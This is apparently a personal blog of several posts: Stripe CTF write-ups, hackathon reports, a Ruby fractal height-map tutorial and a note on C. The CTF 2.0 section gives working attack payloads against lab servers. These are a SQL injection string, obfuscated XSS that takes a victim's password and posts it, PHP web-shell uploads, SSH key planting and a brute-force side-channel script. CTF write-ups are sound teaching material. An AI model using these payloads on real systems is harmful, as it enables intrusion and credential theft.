Stripe CTF 3.0

Sadly, level 3 would not run for me, even with Stripe’s patch, so I could not continue with the competition. It was fun while it lasted though – C

Wednesday saw the beginning of another Stripe CTF! This time I was in London when it started so I went to the launch meeting with some old uni friends.

The theme this time was distributed computation, so with a tiny netbook, I dove in to the levels.

Level 0

Level 0 was essentially an exercise in optimisation. A given text input was checked against a list of words. If an input word was in the preset dictionary, it had to be tagged. The preset dictionary was an ordered list, and as such was O(n) to search. By applying the following:

index 1558f2d..d07273f 100644
--- orig.rb
+++ mod.rb
@@ -1,4 +1,5 @@
#!/usr/bin/env ruby
+require 'set'

# Our test cases will always use the same dictionary file (with SHA1
# 6b898d7c48630be05b72b3ae07c5be6617f90d8e). Running `test/harness`
@@ -7,6 +8,7 @@

path = ARGV.length > 0 ? ARGV[0] : '/usr/share/dict/words'
entries = File.read(path).split("\n")
+entries = Set.new(entries)

contents = $stdin.read
output = contents.gsub(/[^ \n]+/) do |word|

 


The list is turned into a set with a  O(1) lookup time. Significantly speeding up the operation.

Level 1

This level was about cryptocurrencies, and to pass this level you had to mine a … ‘GitCoin’. Essentially, you were given a repo with an initial catalog of transactions. You had to successfully submit a transaction with gave your given use a gitcoin.

Proof of work for a gitcoin was determined by ensuring that the git commit message had a SHA1 signature that was lexigraphically smaller than the difficulty. So add a nonce to your commit message and keep cycling though random numbers until the commit message had a valid signature.

Stripe provided a very slow bash reference implementation, which I still used to pass the level. Instead of increasing the nonce in bash though, I wrote a python script to find a correct hash for me faster.

import sys
from hashlib import sha1
import random
import string
import Queue as queue
import threading

def work(diff, tree,  parent, timestamp, q):
    diffl = len(diff)
    diff = ''.join('0' for x in range(diffl))
    body = "tree %s\nparent %s\nauthor CTF user <me@example.com> %s +0000\ncommitter CTF user <me@example.com> %s +0000\n\nGive me a Gitcoin\n\nnonce: " % (tree, parent, timestamp, timestamp)
    while True:
        body_b = '%s%s' % (body, ''.join(random.choice(string.hexdigits) for x in range(8)))
        s = sha1('commit ' + str(len(body_b)) + '\0' + body_b)
        hex = s.hexdigest()[:diffl]
        if hex.startswith(diff):
            body = body_b
            break
    q.put(body)

def main():
    diff, tree, parent, timestamp = sys.argv[1:]
    q = queue.Queue()
    threads = [threading.Thread(target=work, args=(diff, tree, parent, timestamp, q)) for i in range(1)]
    for th in threads:
        th.daemon = True
        th.start()

    body = bytes(q.get())
    with open('/home/carl/level1/test.txt', 'w') as f:
        f.write(body)

    for th in threads:
        th.join(0)

if __name__ == '__main__':
    main()

There were some hurdles I came across while solving this, which show in the code.  The git hashing command git hash-object -t commit didn’t just take the SHA1 hash of its input, it would first prepend commit len(data)\0 before hashing. This was easy enough to find with a bit of searching, but a major issue I was having that I couldn’t replicate the SHA1 hash unless I first wrote the commit to a file, rather than streaming via stdout. So I just wrote to a file and modified the miner bash script to change:

@@ -56,12 +56,12 @@ $counter"

        # See http://git-scm.com/book/en/Git-Internals-Git-Objects for
        # details on Git objects.
-       sha1=$(git hash-object -t commit --stdin <<< "$body")
+       sha1=$(git hash-object -t commit /home/carl/level1/test.txt)

        if [ "$sha1" "<" "$difficulty" ]; then
            echo
            echo "Mined a Gitcoin with commit: $sha1"
-           git hash-object -t commit --stdin -w <<< "$body"  > /dev/null
+           git hash-object -t commit --stdin -w /home/carl/level1/test.txt  > /dev/null
            git reset --hard "$sha1" > /dev/null
            break
        fi

Which let me get the correct hashes and mine the coin.

Level 2

Level 2 was all about DDOS attacks. The idea was that there were a number of back end servers, a reverse proxy (which you modified), and a number of clients, some malicious and others not. You had to modify the reverse proxy (called shield) to not let malicious traffic through, and to attempt to minimise back end idleness. Scores were determined by a test harness and also on the git push hook.

Stripe provided the attack code for reference, which made the level really easy. Malicious attackers basically spawned more connections more often, and the numbers that they spawned was defined in the file, as:

simulationParameters = {
'clientLifetime': 2, // In rounds
'roundLength': 500, // In ms
'roundCount': 40,
'clientsPerRound': 5,
'pElephant': 0.4,
'mouseRequestsPerRound': 2,
'elephantRequestsPerRound': 50,
'backendCount': 2,
'backendInFlight': 2,
'backendProcessingTime': 75
};

So from this you can see that malicious clients send 50 requests per round, and normal clients send 2.  So my first solution was just to limit the number of connections from each client with a simple counter. My implementation looks like:

diff --git a/shield b/shield
index c67bd68..8ba87f2 100755
--- a/shield
+++ b/shield
@@ -7,6 +7,7 @@ var httpProxy = require('./network_simulation/lib/proxy');
var checkServer = require('./network_simulation/lib/check_server');
var nopt = require('nopt');
var url = require('url');
+var rcount = {};

var RequestData = function (request, response, buffer) {
this.request = request;
@@ -14,6 +15,16 @@ var RequestData = function (request, response, buffer) {
this.buffer = buffer;
};

+
+function checkRequest(ip){
+ if (rcount[ip] === undefined) {
+ rcount[ip] = 1;
+ } else {
+ rcount[ip]++;
+ }
+ return rcount[ip] <= 4;
+}
+
function ipFromRequest(reqData) {
return reqData.request.headers['x-forwarded-for'];
}
@@ -29,10 +40,10 @@ var Queue = function (proxies, parameters) {
};
Queue.prototype.takeRequest = function (reqData) {
// Reject traffic as necessary:
- // if (currently_blacklisted(ipFromRequest(reqData))) {
- // rejectRequest(reqData);
- // return;
- // }
+ if (!checkRequest(ipFromRequest(reqData))) {
+ rejectRequest(reqData);
+ return;
+ }
// Otherwise proxy it through:
this.proxies[0].proxyRequest(reqData.request, reqData.response, reqData.buffer);
};

I committed and pushed, and surprisingly, this gave me a passing score!

Level 3

This is where the story gets sad. I checked out the code, and I could not get the ./test/harness to work correctly. The tak was a file indexing service, and it had to be optimised. It was written in Scala, which I have never used – so I could not work out how to debug it.  Stripe released a fix, but it still did not fix my issues. At which point I had to move on to other things and could not complete the CTF.

Sad times.

Fashion Hackathon – London Startup Weekend

The weekend of the 14th December I attended the London Startup Weekend Fashion Hackathon. This was a much larger event than the previous hackathon I attended and was more geared towards creating a viable business as well as the tech to support it.

The format was fun, on the first day a number of people would pitch ideas, we would all vote for them, then form teams to begin on the Saturday morning. I attended in order to build something new and fun, so just stood back and listened for some interesting pitches.

There were two super interesting pitches: A smart bag which worked out what was in your bag and alerted you if things were missing; and an automatic garment detector which would allow you to take a picture, and then buy the clothes from the picture.

I ended up picking the image recognition project as it sounded the most fun and I didn’t think we would be able to source an RFID reader (or similar) over the weekend. (it turned out that this team didn’t pitch,  so maybe they pivoted or disbanded?)

The mini-startup we made was called LookSnap, and it was fun and quite gratifying to see that my business instincts were reinforced by the actions of the rest of the group. Over the day and a half that it was worked on,  I think the business model ended up fairly solid.

My main job for the weekend was getting the image recognition working. In terms of the technology and with the very short time-scale in mind I decided to limit the acceptable inputs as much as possible. As such, I designed an algorithm that would be able to extract the clothing (top, bottoms, shoes) from a picture of someone who was facing forward and had their arms down.

The algorithm works as follows:

  1. Use OpenCV to detect a face
  2. With the face position, composite a “clothing mask” (see images) onto the original photo using graphicsmagick
  3. This than gives you a fairly decent cut out of just that persons clothes. Apply different masks for top, bottom, and shoes.

Once I had these images, the idea was to use reverse image search on the lyst.com domain to always return something relevant.

However, there was a slight hitch with this plan. Google reverse image search, which worked well manually, had no API in which to pass an image…

So the stopgap method was to extract the average colour from the garment by averaging all the pixel colours that were in the appropriate garment masks, and then mapping these colour to their more broader hue. This turned out to be incredibly hard and would have been impossible if not for reverse engineering a very good hue detector at http://www.color-blindness.com/color-name-hue/

Once this was working I packaged it all up in a FLASK api where an image file was posted to the endpoint, the above magic happened, and a json file was returned giving the X,Y of the garment in the photo, and information on the product name, description, image, and a buy link.

Unfortunately there was not enough time to integrate the service into our POC app, which would have made persuading the judges that we have actually done basic image detection much easier!

Overall, the team did an excellent job, and even though we didn’t win I feel the weekend was very well spent.

Data Science London Hackathon

On the weekend of October 5th, I participated in the Data Science London Hackathon for Smart Cities. This involved having access to a number of datasets of city based data from London. These datasets included things such as:

  • Car Parking Counts
  • Oyster Journeys
  • Incidents of Antisocial Behaviour

A couple of guys from work and myself made a team (TeamLYST) and decided to have a closer look at the antisocial behaviour dataset to see if we could make something interesting.

The data gave events that happen on a given day, for a given street for about a month. The events were lovingly given as:

  • Dog Fouling
  • Graffiti
  • AntiSocials (public urination, vomit, etc)

So from this we decided to make a predictive application that would generate a number of likely events to happen for a Monday, Tuesday, etc.

The application was split into 3 parts:

  1. Pre-processing the data into a format which was useful, adding in default values etc,
  2. Creating a generative predictive model from this data
  3. Visualising the data

There were three on our team, so I picked the visualisation. I did this using Python and PyGame to draw a PNG of London, which was generated by open streetmap. Event locations were translated to map locations, and the map could be translated and zoomed with the events staying where they were supposed to be. The visualiser allowed you to flip through different days and to access new generated events.

The generative model was trained by looking at each Monday, Tuesday, etc to work out a count of each event type per street, which was then normalised against the total events of that day. This gave a likelihood for each event in each street for each day in the week. Assuming that all events are equally likely to occur (a big assumption) we can sample a normal distribution and apply this to our likelihood map to generate an event. We do this the same amount as the average number of events for that day and we get a pseudo -typical event set.

The final product worked as intended, and with more accurate data could be extended into a nice predictive application to help with local law enforcement responses and distributions.

We didn’t win the hackathon, but it was a fun experience. We put up a video of our work too.

Migrated fully to WordPress

I’ve moved my main domain to WordPress now, so carlellis.co.uk, www.carlellis.co.uk, and blog.carlellis.co.uk all point to here now!

The move has been slow and forthcoming with my originally semi-static site needing more dynamic content and then becoming stagnant as I focused on adding things to the WordPress. The only thing which was given attention on the old site was the literature review pages.

I didn’t want to lose the site completely, so currently it is parked at old.carlellis.co.uk .

I consider this a pre-emptive strike against my growing NIH syndrome.

A Fractal Height Map Generator in Ruby

[I'm migrating my old articles to the blog in order to switch to it entirely]

Date: 25th March 2010

Introduction

This article describes the theory behind, and how to implement, a basic fractal height map generator. It is based upon the algorithm defined at http://gameprogrammer.com/fractal.html. Height maps are used in many things: positioning software, graphical rendering, and procedural map generation. Given the right conditions, height maps can be used to create visually stunning images, and are frequently used with an alpha channel to simulate clouds.

All source code used in this article shall be made freely available, under a Creative Commons GPL Licence

The implementation which will be defined here outputs an array of numbers, which on the surface seems fairly mundane. However, with a bit of tweaking with VT100 colour codes, or passing to an image generation program, the algorithm can produce outputs such as this:

The ASCII renderer assigns a colour code to a range of numbers and then depending on your ranges, you can create rainbow-like maps like the one above. The grey scale and transparent images had their number arrays passed to an image generation program called RMagick.

 

The Theory

I will go through the basic idea again as it was defined in the gameprogrammer link, to keep a consistency with terms used further in the article. So before we get on to the DiamondSquare algorithm, I shall implement the simpler 1 dimensional algorithm, which will describe the height of a line, similar to a horizon. The patterns created show some fractal behaviour, in that it is said to be self-similar. An object is said to be self-similar when magnified subsets of the object look like, or are identical to, the whole and to each other[1].

In context of this algorithm, it means that as we add more detail, the more rougher and major features will still hold true, but more detail will become apparent as we look closer. This makes the algorithm ideal for recursion or iterative methods. This implementation uses an iterative method.

Midpoint Displacement in One Dimension

For the creation of the 1 dimensional height map, similar to a horizon, a very simple algorithm is used:

    def generateLine(length)

      # Due to this algorithm being simple for
      # the articles sake, length should be 
      # constrained to the powers of 2. 
      #
      # As we need a midpoint, however, length
      # should be defined as (2^n)+1.

      # Create an array which describes a line.
      # Set the default values to 0American Standard Code for Information Interchange 
      line = Array.new(length, 0)

      # Define the range of the terrain values.
      # For this example we shall take the range
      # of values to be -63 to 63, with the midpoint
      # at 0, out default value. 
      # Range is then 128.
      range = 128;

      # Work out the number of line segments
      # levels there are in the line. As each line 
      # segment level is defined by deviding by two 
      # until length is 1, the number of segments
      # is the log_2 of the length.
      noSegments = Math.log(length-1, 2)

      #Iterate through the levels
      (1 .. noSegments).each{ |level|

        # Work out the line segment length so you
        # can properly address the offset.
        segLength = (length/2**level)

        # Work out the number of line segments
        # within this level
        noSegL = (2**level)-1

        # Iterate through the line segments and 
        # apply your random function.
        (1 .. noSegL).each{ |segOffset|

          # If value is not zero, skip over it, done on a previous
          # level
          if( line[segLength*segOffset] == 0 )

            # Make sure the current value of the line
            # is directly midway between its two parents.
            line[segLength*segOffset] = (line[segLength*(segOffset-1)] + line[segLength*(segOffset+1)])/2

            # Apply random function to value
            line[segLength*segOffset] = randomFunction(line[segLength*segOffset], level, range)

          end
        }
      } 

      return line
    end

Now as you can see the most important part of that algorithm is that which I have purposely missed, randomFunction. This is where you, quite obviously, define how you want your heights defined. A good way is to simply use a bounded random function, where the bounds are defined by the line segment level you are currently within. For example, a function like:

    def randomFunction(value, level, range)

      # Roughness constant 0 < h < 1
      # As h approachs 0, the level dependent
      # bounds grow and tend to 1 for all values
      # of level
      h = 0.8

      # Define bounds in terms of level and a roughness
      # function
      multiplier = 2 ** (-h * level-1)

      # Perform random function, bound it, and then apply 
      # multiplier
      value += (rand() * (range) - (range / 2)) * multiplier

      # Return
      return value
    end

Would offset the value of the line a random amount which is bounded by a function dependent on the line segment level and a roughness coefficient. As this function is the heart of this algorithm and the 2 dimensional algorithm, I will go into some detail on the use of the roughness coefficient. If the roughness coefficient is set to 1, then the multiplier acts the same as : 2^{(-l-1)}; 0 < l < \infty ; l \in \mathbb{Z}^+. Decreasing the value of h flattens out the function meaning the bounds are less constrictive and allowing for much rougher terrain. Here is a plot of the multiplier when h=0.8 and h=0.2, and a plot of the generated lines when those constraints are used. X axis is equal to line segment level.

As you can see, the roughness coefficient makes a massive difference to the outputted numbers. For those interested in recreating the plot, I piped the output of the above code into a text file, and then used GNUPlot to make the images.

Extending into 2 dimensions - The diamond square algorithm

To extend this algorithm into the second dimension, we have to imagine the terrain data as a two dimensional array of numbers. Each number represents a height in this two dimensional field, and so each column and row can be treated similarly to above.

To split up a two dimensional array in a self-similar way we must use squares, or diamonds, which are analogous to the line segments of the 1 dimensional algorithm. Then, rather than using the ends of a line segment to work out a base height the corners of the square, or diamond, are used. For example:

Like the line segment algorithm, the mathematical 'meat' is the same random function as before. The complexity comes in managing which indexes are part of a diamond or a square. So, for example, here is a code segment which works out indexes of a square, depending on level and location, and applies the random function:

    # Get the corners of an arbitrary square and perform operation
    # on center.
    #
    # @param  array           Array to use
    # @param  topleftIndexX   X index of top left of square
    # @param  topleftIndexY   Y index of top left of square
    # @param  length          Length of the square 
    # @param  level           Level into the calculation
    def processSquare(array, topleftIndexX, topleftIndexY, length, level, range, h)

      # Get coordinates of the corners of the square
      toprightIndexX    = topleftIndexX
      toprightIndexY    = topleftIndexY + length + ((level == 0) ? -1 : 0)

      bottomleftIndexX  = topleftIndexX + length + ((level == 0) ? -1 : 0)
      bottomleftIndexY  = topleftIndexY

      bottomrightIndexX = topleftIndexX + length + ((level == 0) ? -1 : 0)
      bottomrightIndexY = topleftIndexY + length + ((level == 0) ? -1 : 0)

      middleX           = topleftIndexX + (length)/2
      middleY           = topleftIndexY + (length)/2

      # Get values
      topleftValue      = array[topleftIndexX][topleftIndexY]
      toprightValue     = array[toprightIndexX][toprightIndexY]
      bottomleftValue   = array[bottomleftIndexX][bottomleftIndexY]
      bottomrightValue  = array[bottomrightIndexX][bottomrightIndexY]

      # Get average
      average = (topleftValue + toprightValue + bottomleftValue + bottomrightValue)/4

      # Set new value
      array[middleX][middleY] = average + calculateOffset(level, range, h)
    end

Where calculateOffset is the random function in this application. The diamond calculation algorithm is very similar and looks like this:

    # Get the edges of an arbitrary diamond and perform operation
    # on center
    #
    # @param  array           Array to use
    # @param  topIndexX       X index of top of diamond
    # @param  topIndexY       Y index of top of diamond
    # @param  length          Length of diamond
    # @param  level           Level into the calculation
    def processDiamond(array, topIndexX, topIndexY, arraylength, level, range, h)

      # Adjust
      arraylength -= 1
      length = arraylength/(2 ** level)

      #Get coordinates of the diamond
      rightIndexX   = topIndexX + length/2
      rightIndexY   = (topIndexY == length) ? length/2 : topIndexY + length/2 

      leftIndexX    = topIndexX + length/2
      leftIndexY    = (topIndexY == 0) ? arraylength - length/2 : topIndexY - length/2

      bottomIndexX  = (topIndexX + length/2 == arraylength) ? length/2 : topIndexX + length
      bottomIndexY  = topIndexY

      middleX       = topIndexX + length/2
      middleY       = topIndexY

      # Get values
      topValue      = array[topIndexX][topIndexY]
      rightValue    = array[rightIndexX][rightIndexY]
      bottomValue   = array[bottomIndexX][bottomIndexY]
      leftValue     = array[leftIndexX][leftIndexY]

      # Get average
      average = (topValue + rightValue + bottomValue + leftValue)/4

      # Set new value
      array[middleX][middleY] = average + calculateOffset(level, range, h)

      # Wraps
      if(middleX == arraylength)
        array[0][middleY] = array[middleX][middleY]
      end
      if(middleY == 0)
        array[middleX][arraylength] = array[middleX][middleY]
      end
    end

The only difference with the above snippet is the different indices it retrieves, and that it must handle wrap around for some of the edges.

So currently, we can create arbitrary diamonds and squares within a 2-dimensional array and assign a fuzzy average of the edges according the h value. Now all we need is some code to manage traversing through the levels of iterations and through the diamonds and squares themselves. Here is my solution:

    # The main control loop for the algorithm.
    #
    # @param  lengthExp       Length exponent
    # @param  range           Value range
    # @param  h               Roughness constant
    def generateTerrain(lengthExp, range, h)

      length = (2 ** lengthExp) + 1

      array = Array.new
      array = createArray(array, length)

      #Go through Levels (irerative recursion)
      (0 .. lengthExp - 1).each{ |level|

        # Iterator for the Square part of the algorithm
        # Will go through the x-axis coords
        (0 .. (2 ** level) -1 ).each { |sqx|

          # Y axis coords
          (0 .. (2 ** level) -1).each { |sqy|

            gap = length/2 ** level
            x = (0 + (gap*sqx))
            y = (0 + (gap*sqy))

            processSquare(array, x, y, gap, level, range, h)
          }
        }

        # Iterator for the diamond part of the algorithm
        (0 ... (2 ** (level+1))).each { |dix|

          # Offset in the number of points on the y-axis. Dependant
          # on if x iteration is even or odd.
          offset = (dix.even?) ? 1 : 2
          (0 ... (2 ** (level+1)/2)).each { |diy|

            gap = (length/2 ** (level+1))
            ygap = 2 * gap

            x = (0 + (gap*dix))
            if (dix.even?)

              y = 0 + (ygap*diy)
            else

              y = gap + (ygap*diy)
            end
            processDiamond(array, x, y, length, level, range, h)
          }
        }
      }
      return array
    end

And this gives us our array with its height map hidden inside. Using a library like RMagick we can output images like the ones shown above. To create the gray scale image, the following code was used:

  image = Image.new(array.length, array.length)

  (0 ... array.length).each { |x|
    (0 ... array[x].length).each { |y|
      val = array[x][y] * (2**9)
      # Create greyscale image
      image.pixel_color(x, y, Pixel.new(val, val, val, val))
    }
  }
  image.display

Which just takes the value in the array, and multiplies it by 512 which gives the values a range of 0 \ge v \ge 2^{15}, \; \frac{v}{512} \in \mathbb{Z} . This gives us the gaseous image that has been generated above.

Code Listings

A library version of the ruby code found in this tutorial can be found at GitHub.

References

  1. Voss, Richard D., FRACTALS in NATURE: characterization, measurement, and simulation. SIGGRAPH 1987

Creative Commons License
Ruby Diamond Square Height Map Generator by Mr Carl Ellis is licensed under a Creative Commons Attribution-Share Alike 3.0 Unported License.
Based on a work at gameprogrammer.com.

Getting back into C

So I spend a lot of my time at my computer, it’s a fact of life as a computer science PhD student. However, while I may have a vim window open 90% of the time, more often than not there will be latex or matlab code in that vim window. Sometimes, if I get one of those rare lulls in deadlines, there may even be Ruby or Haskell code from when I’m learning or prototyping.

This, however, has made me incredibly lazy. I do no low level programming, know very limited assembler, and get spoiled rotten by higher level languages. How much work does my_hash["key"] = value do for me? Well, a lot.

To address this, I’m refreshing myself of my C knowledge and building basic abstract types. But, I’m doing it in a way which would make the most academically minded coder weep with glee in its abstraction and cleanliness – although possibly at the expense of speed. But, I’m an academic, I only need to be aware of speed, while making sure my code is clear enough for people to read and hopefully learn.

So far, I’ve blasted through stacks, queues, linked lists, and binary trees. There are still some utility functions to build with regards to the trees, but I’m engineering them to use function pointers and void * memory in order to not tie my data structures to types.

Currently the code is on GitHub and will be built up as I add more data structures. Hopefully I have time for tries, ropes, prefix trees, graphs, and example code of how to use them. Search algorithms and other classics are hopefully going in, with the aim to make a library not for performance, but for clarity and aid in teaching.

Feel free to email me suggestions and requests for algorithms.

Stripe-CTF 2.0

I managed to finish the Stripe CTF with 18 hours to spare and placed no. 702. I’m pretty happy with the result considering how little time I actually spent on it! My progress can be found here and you can see when I took days off!

Overall the competition was really enjoyable and the final hangout in the irc channel while my program was breaking the flag really made me feel part of the community.

I won’t publish this until the end of the deadline, but I’ll try to remember how I broke through each level and give the code I used:

Level 0

Very simple! A beginner SQL injection attack which leveraged the following line in the code:

var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
db.all(query, namespace, function(err, secrets) {
...

This essentially put namespace into the ‘?’ of the statement. My setting namespace to a wildcard (‘%’) the page dumped its data and the password to the next level.

Level 1

The task for this level was to guess a combination that was defined in a hidden file (“combination.txt” or similar) which would then unlock “password.txt” and output to a web page. The code which read in the combination looked like:

extract($_GET);
if (isset($attempt)) {
  $combination = trim(file_get_contents($filename));
    if ($attempt === $combination) {
      ...

The key thing I could exploit here was “extract($_GET)” which just created variables for what ever was in the GET params with no checks. Simply passing “&filename=&attempt=” as params got me past the if statement and the password was outputted.

Level 2

This level was referred back again and again, as you could upload files to it and execute code from a level02-*.stripe-stf.com domain. The idea was to get the contents of the file password.txt which was not accessible from the webserver. Uploading a .php file which read the contents of the file and echoed it worked by just browsing to “/uploads/getfile.php”

Level 3

This was the first level which was hard! I’d never really done a proper SQL injection before and it was quite satisfying to get working. The SQL injection point was:

query = """SELECT id, password_hash, salt FROM users
          WHERE username = '{0}' LIMIT 1""".format(username)

which meant that I was stuck with the start of the statement regardless, and the python-sql link didn’t allow multiple statements. I read up on SQL attacks and ended up using a combination of UNION and SELECT AS in order to inject my own data into the response. However, the only thing I could inject was an id, password_hash, and a salt. The id allowed me to spoof a user, and I could determine what my hash should be given a known salt. My injection was

' union select 1 as 'id', '961b6dd3ede3cb8ecbaacbd68de040cd78eb2ed5889130cceb4c49268ea4d506' as 'password_hash', 'a' as salt ; --

Which made the proper request to the database return nothing, and then I combined it with my own data, which was an id for 1, the SHA256 hash of “aa”, and a salt of a.

Putting the above in the username field and setting my password to ‘a’ I got authenticated. Then I just changed ids between 1-3 until I got the correct user.

N.B The secrets for the other users, which claimed to be either the solution to P=NP, and a plan for a perpetual motion device seemed to be generated from scigen

Level 4

This level was weird, and was  a JavaScript injection attack. The given website had a simple concept: users passed karma between each other. However, to show that they really trusted the user they were giving karma to, your password was shown to people who gave you karma. There was a system generated user called ‘karma_fountain’ whose password for the code to unlock the next level.

The inject route was: Set your password to some JavaScript, send karma to your prey, when they logon the JavaScript would execute. Luckily, karma_fountain logged in every minute and my password was set to (wrapped in script tags):

$.post('/user-izwsyuhfyt/transfer', { to: "karma", amount: "1"});

Level 5

This was black magic. It was solved near accidentally and then inspected to work out why.

Essentially you had to trick the system to think that it was receiving a command which solved the regex:

/[^\w]AUTHENTICATED[^\w]*$/

.However, the command had to be returned from a stripe-ctf domain, and to get the code the system had to think it came from a level5.stripe-ctf domain.

Using level 2, I uploaded a .php (.txt was forbidden in the webserver rules) which just echoed ” AUTHENTICATED”, and passing the address for that got me authenticated as a level02 domain. Now all I needed was to get it to authenticate as level05.

In the end, the url i gave it was itself, with the post parameters it needed for level2 in the get params.  Essentially this is what happened:

  1. Level5 posted to itself with a domain of level5.* and get params for level2 auth
  2. From this post the level2 auth were collected by the post param get functions
  3. Authed as level2
  4. Authed as level5

BLACK MAGIC

Level 6

This level was incredibly fiddly, but FireBug really helped with it. Essentially it was a blogging site, and there was an injection point in the blogroll. However, the database had a “safeInsert” method which dropped any data which had an apostrophe or quote in it. This just made it awkward.

The site had a “/user_info” page which a user could view their unsanitized user and password. The user which I needed to get the password from apparently has quotes and apostrophes in its password, so I also needed to sanitize them before getting them out of the system. The only way to do that would be to make my prey post their password.

So the exploit work flow is:

  1. GET /user_info
  2. Strip password and convert to character code
  3. POST this to /ajax/posts with a scraped ‘_csrf’ token to authenticate

This had to be done with no quotes or apostrophes so any strings were generated using String.fromCharCode(). Here’s the formatted exploit code I used:

$.get(String.fromCharCode(117,115,101,114,95,105,110,102,111), 
  function(response) { 
    var a = $(String.fromCharCode(60,100,105,118,47,62)).html(response).find(String.fromCharCode(46,115,112,97,110,49,50,32,116,100)).text();
    var u; 
    for(i=0;i&lt;a.length;i++){u += String.fromCharCode(32) + a.charCodeAt(i)} 
    $.post( String.fromCharCode(97,106,97,120,47,112,111,115,116,115), 
      { 
        title: String.fromCharCode(88,83,83), 
        body: u, 
        _csrf: $(String.fromCharCode(102,111,114,109,35,110,101,119,95,112,111,115,116,32,105,110,112,117,116))[0].value 
      }); 
  } 
);

Level 7

I was given an API to a “WaffleCopter” service and had to request a premium waffle in order to get the password. I was not a premium user. Each request was signed with a SHA1 hash. They could be replayed.

After googling for SHA1 vulnerabilities and hanging around in the channel I discovered that there was a padding vulnerability in SHA1 and that were was a handy python script which would do all the work for you.

Combining this tool with a web request, I was able to use an old request from user 2 who ordered a “dream” premium waffle, add “&waffle=leige” to the end of the query and the magic python script worked out padding that got me the same signature as the original request!

Level 8

This was incredible and a nice mix of frustrating, hard, and madness.

Essentially: The flag was a 12 digit number, it was kept by a program which then split the password into 4 chunks and were held by separate instances. You interrogated the main instance of the passwordDb and it would ask the chunks if it was correct. the service would then reply {success: false/true}. You could also pass it a “webhook” which would get the results rather than the curl/browser call.

The server also only accepted data from a *.stripe-ctf.com domain.

So, first problem, I needed to get that password: The chunking was an advantage, as if I was brute forcing individual chunks I would only need a 10^3 search space 4 times, rather than 1 10^12 search space. this made brute forcing practical. While on a local instance of the server I could interrogate the chunk_servers individually, on the level8 server I did not have that option, so I needed the go through the primary_server.

Due to reflection magic, when a webhook is used and a chunk says a password chunk is wrong, it directly tells the webhook true/false. And the port which is used is dependent upon which chunk is replying! A port difference (from the port of your last request) of 2 meant chunk 1 had rejected your password, 3 meant chunk 2, and so on.

This gave a side channel style attack where you could sequentially increase each chunk depending on which chunk returned false. This meant you could break the flag in <= 4000 requests. Ace.

So, the second problem, getting access to a .stripe-ctf.com domain. The problem statement said that sshd was running.  Attempting the ssh in with your generated username failed due to no public key. Hmm. Uploading a php script with a simple form and a shell_exec command essentially gave me a poor mans command line and after much faffing was able to upload a public key, create a .ssh/ folder, and add my key to an authorized_keys file. Then I was in.

Running my cracker on the production server came up with some problems: the port differences were sometimes more than 5. I assume this was because of the amount of people on the server. I modified the program to ignore any weird port differences and keep trying until a sane one was found. The server was also INCREDIBLY SLOW. It took me about 3 and half hours to brute force my flag with the following:

require 'socket'
require 'net/https'

# Addresses of primary_server and webhook address
ENDPOINT = "https://level08-4.stripe-ctf.com/user-ianrhgpijr/"
WEBHOOK = "level02-3.stripe-ctf.com"

# current port and chunk values
last_port = -1
chunk1 = 0
chunk2 = 0
chunk3 = 0
chunk4 = 0

# Open webhook port
server = TCPServer.open(50001)
puts "[Server]:: listening on port #{server.addr[1]}"

# Until finished (practically forever on production)
while true

  # Start POST request to endpoint
  uri = URI(ENDPOINT)
  req = Net::HTTP::Post.new(uri.to_s)

  # Pad out to chunks of 3, with zeros
  password_chunk = "#{chunk1.to_s.rjust(3, '0')}#{chunk2.to_s.rjust(3, '0')}#{chunk3.to_s.rjust(3, '0')}#{chunk4.to_s.rjust(3, '0')}"

  # Build request
  req.body = "{\"password\": \"#{password_chunk}\", \"webhooks\": [\"#{WEBHOOK}:#{server.addr[1]}\"]}"

  http = Net::HTTP.new(uri.host, Net::HTTP.https_default_port)
  http.use_ssl = true 

  # Send request, we only really care about the response when it returns true
  http.start { |h| @response = h.request(req) }

  # Wait on webhook
  client = server.accept

  if (last_port != -1)

    # Get port difference
    diff = client.peeraddr[1] - last_port

    # Verbose is good on dodgy production server
    puts "[CHUNK]:: #{password_chunk} &amp; port_diff = #{diff}"

    # Incerement chunks based on port difference
    if (diff == 2)
      chunk1 += 1

    elsif (diff == 3)
      chunk2 += 1

    elsif (diff == 4)
      chunk3 += 1

    elsif (diff == 5)
      chunk4 += 1
      # Last chunk, we can start checking the flag result!
      if (@response.body.include?('true'))
        # Woo got the flag
        puts "[FLAG]:: #{password_chunk}"
        break
      end
    end
  end
  last_port = client.peeraddr[1]

  client.close
end

Conclusions

All in all it was a brilliant competition to spend hours in distraction with. Looking forward to the next one (and my free t-shirt).

Founder, Researcher, Programmer, Mountaineer